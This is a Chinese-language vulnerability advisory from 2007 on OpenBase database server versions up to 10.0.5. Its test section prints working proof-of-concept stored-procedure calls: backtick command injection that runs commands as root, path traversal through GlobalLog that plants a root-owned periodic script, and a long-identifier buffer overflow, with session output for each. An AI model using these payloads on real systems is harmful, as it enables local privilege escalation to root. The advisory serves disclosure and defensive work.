OpenBase命令注入及缓冲区溢出漏洞
发布日期:2007-11-05
更新日期:2007-11-07
受影响系统:OpenBase OpenBase <= 10.0.5
描述:
BUGTRAQ ID:
26347
OpenBase是一款数据库服务器应用,可提供对结构化数据的高速访问。
OpenBase在实现存储过程时存在漏洞,本地攻击者可能利用这些漏洞提升自己的权限。
OpenBase在使用存储过程(如GlobalLog()或OEMLicenseInstall())中存在一些漏洞,如果用户能够创建有超长名称的存储过程的话,就可以触发缓冲区溢出,导致拒绝服务或以root权限执行任意代码;如果向预定义的存储过程注入了一系列反引号(`)的话,就可以注入恶意命令并以root用户权限执行。
<*来源:Kevin Finisterre (
dotslash@snosoft.com)
链接:
http://secunia.com/advisories/27525/
http://www.netragard.com/pdfs/research/NETRAGARD-20070313-OPENBASE.txt
*>
测试方法:
警 告
以下程序(方法)可能带有攻击性,仅供安全研究与教学之用。使用者风险自负!
1. call AsciiBackup('\`id\`')
导致以root执行命令
desktop:/tmp kfinisterre$ tail -f /tmp/isql_messages
OpenBase ISQL version 8.0 for MacOS X
Copyright (c) 1993-2003 OpenBase International. Ltd.
All Rights Reserved.
Using database 'WOMovies' on host 'localhost'
Could not write file:uid=0(root) gid=0(wheel) groups=0(wheel)/WOMovies.bck
2. call GlobalLog("../../../path/to/file", "\n user input goes here \n")
导致创建root所有的文件
openbase 1> call GlobalLog("../../../../../../etc/periodic/daily/600"
, "\n/usr/bin/id > /tmp/file\n")
openbase 2> go
Data returned... calculating column widths
return_0
----------
Success
----------
1 rows returned - 0.039 seconds (printed in 0.039 seconds)
openbase 1> call AsciiBackup('`chmod +x /etc/periodic/daily/600.msg;
/usr/sbin/periodic daily`')
openbase 2> go
Data returned... calculating column widths
return_0
----------
Failure
----------
1 rows returned - 1.825 seconds (printed in 1.826 seconds)
openbase 1>
3. select aaaaaaaaaaaaaaaaaaaa... from aaaaaaaaaaaaaaaaaaa...
导致zone_free()引用0x61616161问题
4. call OEMLicenseInstall("`/usr/bin/id>/tmp/aaax`","`/usr/bin/id>/tmp/bbbx
`","`/usr/bin/id>/tmp/ddddx`","`/usr/bin/id>/tmp/cdfx`")
导致以root执行命令
建议:
厂商补丁:
OpenBase
--------
目前厂商还没有提供补丁或者升级程序,我们建议使用此软件的用户随时关注厂商的主页以获取最新版本:
http://www.openbase.com/浏览次数:2840
严重程度:0(网友投票)